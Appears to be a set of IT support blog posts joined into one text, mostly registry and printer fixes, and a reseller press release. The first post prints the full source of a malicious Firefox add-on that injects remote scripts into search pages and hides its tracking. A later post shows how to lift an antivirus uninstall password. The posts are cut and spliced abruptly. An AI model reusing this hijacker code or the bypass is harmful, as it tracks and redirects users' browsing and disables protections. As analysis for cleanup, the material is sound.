I installed ZoneAlarm to detect any malicious outbound traffic, and it found none – even though searched continued to redirect.

Removing and reinstalling network card drivers proved fruitless.

This is the point where you practice some Office Space moves …and I was thinking about it. (Sorry, Seth…)

Anyway, here’s the fix (You know I wouldn’t have bothered posting this if I didn’t fix it, right?):

Apparently at some point in history past, this guy had gotten a virus which had installed a malicious Firefox Add-on. The tricky thing is that this add-on survives a Firefox uninstall/reinstall.

To see the installed add-ons, I went to Help -> Troubleshooting Information. Here is what I saw:

Check out that bottom entry.  Looks safe enough, right?  But something didn’t “feel” right about it.  I searched the registry for that CLSID and found it under Mozilla Extensions. The path pointed to C:\Users\[username]\AppData\Local\[CLSID shown above].  The folder held a folder called “Chome” and files called “Chome.manifest” and “install.rdf”.  The “Chrome” folder held the following file:

<overlay id="safebrowsing-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript">
function getRand(min,max) {return Math.floor(Math.random() * (max - min + 1)) + min;}
function getIp() {return getRand(0,255)+'.'+getRand(0,255)+'.'+getRand(0,255)+'.'+getRand(0,255);}
function mdec(s) {var r='',n,l;var l=s.length;if(l%2 !=0) return "";for(var i=0;i<l;i+=2) {n=s.substring(i,i+2);n=parseInt(n,16);r +=String.fromCharCode((i/2)^n);}return r;}
function rm_o(s) { var p,d; if(s.match(/&fadurl=([^&]+)/)) { d=RegExp.$1; p=s.indexOf('/',10);if(!document.cd) document.cd=s.substring(7,p);if(!document.fd) document.fd=d; s=s.substring(p);
if(s.match(/&clcrf=([^&]+)/)) document.rd=RegExp.$1; s=s.replace(/&(fadurl|clcrf)=[^&]+/g,''); return 'http://'+d+s; }
else if(s.indexOf(document.cd) !=-1) { return document.fd; } return -1;}
var _ty="687576733e2a29666c7f6f7978647d667e76277d71623874777435297a787b7b";
var _xn="uu=9/SFA85RSl4jvINASarRj++zrpuRRZveHooHhU8w1uE84stgvmkqYYUIM2SPKVwS5nSRfLU1cuMiKArdj2FsqRnz0HRWIXUfTHFH8egHeP1SeUDX3eaKEN61vp3xlY3fUKzYJcjDPbWebJU5+NoxVnWNaC58pmRZ1EHvlpLSSD0=";
var _sx="687576733e2a2963617a6b69606823667e6266727a613b647d78687874337d704d0e48500b414f54494b464e02475d";
window.addEventListener("load",function() { xulTra.init();},false);var xulTra={ init: function() { var observerService=Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
observerService.addObserver(httpRequestObserver,"http-on-modify-request",false);
var appcontent=document.getElementById("appcontent");
if(appcontent) appcontent.addEventListener("DOMContentLoaded",xulTra.onPageLoad,true);
var td,n,p,dom,dom2;td=new Date();
n='http://'+td.getDate()+'.';
_ty=mdec(_ty);_sx=mdec(_sx);
p=_ty.substring(7).indexOf('/');
dom=_ty.substring(7,p+7);
p=_sx.substring(7).indexOf('/');
dom2=_sx.substring(7,p+7);
_ty=_ty.replace(/http:\/\//,n);
_sx=_sx.replace(/http:\/\//,n);
if(!_ty || !_xn) { return; }

var s;document.getElementById("urlbar").addEventListener("DOMAttrModified",
function(e)
    { if((s=rm_o(e.currentTarget.value)) !=-1) e.currentTarget.value=s;},false);
        document.getElementById("statusbar-display").addEventListener("DOMAttrModified",
            function(e)
            {if(e.target.label.indexOf(dom)!=-1 || e.target.label.indexOf(dom2)!=-1) e.target.label='';
                else if((s=rm_o(e.target.label)) !=-1)
                e.target.label=s;},false);},
onPageLoad: function(aEvent) { var doc=aEvent.originalTarget;if(doc.defaultView.frameElement) return;
var loc=doc.location.href;
var type='';
if(loc.match(/google.*\/(search|cse).*[&\?]q=/) || loc.match(/search\.yahoo.*search.*[&\?]p=/) || loc.match(/ask.com.*\/web.*[&\?]q=/) ||loc.match(/bing.com\/search.*[&\?]q=/) ||loc.match(/aol\/search.*(query|q)=/)) {type='search';}else if(loc.match(/(yahoo|ask|aol|bing)\.[-\.\w]+\/?$/)) {type='empty';}
else if (loc.match(/(google)\.[-\.\w]+\/?$/) || loc.match(/(google)\.[-\.\w]+\/#/)) {type='live';}
if(type) {if(document.getElementById('_gofeed'))return;
var script,src,ss; if(type=='live') ss = _sx; else ss = _ty;
src = ss+'?type='+type+'&ua=Firefox&ip='+getIp()+'&ref='+encodeURIComponent(loc)+'&'+_xn;
script=doc.createElement('script');script.id='_gofeed';
script.src=src;doc.getElementsByTagName('head')[0].appendChild(script);}}};
var httpRequestObserver={ observe: function(subject,topic,data) { if(topic=="http-on-modify-request") { var httpChannel=subject.QueryInterface(Components.interfaces.nsIHttpChannel); var pos=subject.URI.spec.indexOf("&clcrf=http");if(pos > -1) { var nr=this.ioService=Components.classes["@mozilla.org/network/io-service;1"].getService(Components.interfaces.nsIIOService).newURI(decodeURIComponent(subject.URI.spec.substring(pos+7)),null,null);
httpChannel.referrer=nr;subject.URI.spec=subject.URI.spec.substring(0,pos);}}}};</script></overlay>

I decoded the encrypted variables, and they were the following:

http://advertising5new.com/2feed

http://disable-instant-search.com/js/disable.js

I removed the registry entry and deleted the [CLSID] folder, and that took care of the problem.

Have to admit Mr. Virus Man.  Not bad java cript there.  Pitty you can’t find something more useful to do with it.

Here’s a screenshot:

Screenshot - No Folder Names

After some extensive googling, I came across a forum thread that referenced this registry key:

HKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\CachedSchemaHKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\CachedSchemaHKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\CachedSchema

We backed up the “PropertySchema” branch, and then deleted the “CachedSchema” key.  After killing explorer.exe, and relaunching it the problem was fixed.

This also resovled the issue with Windows Search not being able to find any files that were being searched for.

We aren’t sure, but it seems most likely (due to the state of this machine) that this was caused by a virus.

Anyway, the print job would go the queue on the computer, and you could see sitting there spooling, and then it would flash, and spool it again… over and over… until the paper ran out (which of course you had no clue because the printer is half way around the world, right?)

So here’s my tribute to Al Gore – if you want to save trees by only printing ONE instead of ONE paper ream, go to your printer properties, and uncheck “Enable bidirectional support” on the “Ports” tab.

Integrity Computer Service Joins Google Apps Authorized Reseller Program

August 8, 2011 — Integrity Computer Service today announced it has become an authorized reseller of the Google Apps™ suite of communication and collaboration tools.  They will be providing a small business focused solution that competes with current technologies such as Microsoft Exchange.  Google Apps provides a rich experience for inter-office collaboration and productivity

Google Apps brings simple, powerful communication and collaboration tools to organizations of any size – all hosted by Google to streamline setup, minimize maintenance, and reduce IT costs. With Gmail (including Google email security, powered by Postini), Google Calendar, and integrated IM, users can stay connected and work together with ease. And, using Google Docs and Google Sites, which include word processing, spreadsheet, presentation and website creation tools, they can share files and collaborate in real-time, keeping versions organized and available wherever and whenever users work.

The Google Apps Reseller program includes resellers, consultants and independent software vendors that sell, service and customize Google Apps for Business for their customers. Integrity Computer Service received training, support and deployment services from Google, as well as access to APIs for integrating Google Apps into their customers’ business operations. Integrity Computer Service is able to retain a close relationship with their customers in order to provide additional service and support. The businesses receiving Google Apps will benefit from the additional attention to their specific needs. For more information on Integrity Computer Service’s program please visit www.incomservice.net and to learn more about the Google Apps Reseller program, go to www.google.com/a/.

Google, Google Apps, Gmail, Google Talk, Google Calendar, Google Docs, Google Sites and Google Video are trademarks of Google Inc.

Navigate to this registry key:

HKLM\Software\Intel\LANDesk\VirusProtect6\CurrentVersion\AdministratorOnly\Security\

Find the “UseVPUninstallPassword” key and change the value from a “1″ to a “0″.  Now go to Add/Remove Programs and remove it.  Enjoy your new freedom.

So to “reclaim” that space, first go to your favorite mysql query browser, and execute the query:

show table status;

It should show you all of your tables and information regarding those tables. One column should say “Data_free”. Look at what database has a large amount of “Data_free” space, and the excute another query:

optimize table YOURTABLENAMEHERE

After I had successfully optimized two tables, my database size went from 408 MB to 61 MB.

Now maybe my backups will work a little faster…

All the best,

Luke

The answer is here: http://support.microsoft.com/kb/973640.

Happy faxing. (if you don’t know what a fax is, check

"<em>This operation has been canceled due to restrictions in effect on this computer.
Please contact your system administrator.</em>"

The fix that fixed it for me was to go to HKEY_CURRENT_USER\Software\Classes\.htm and change the value of (Default) to htmlfile.  Do the same for HKEY_CURRENT_USER\Software\Classes\.html.

There also a Microsoft KB that may be helpful:  http://support.microsoft.com/kb/310049

The ultimate fix for me was this:  Open your registry and go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders.

It should look something like this picture:

User shell folders

That’s what it SHOULD look like.  The one on the problem machine only had one of those.  Here’s a registry file that will add them all back in for you – on XP machines:  User Shell Folders downloads.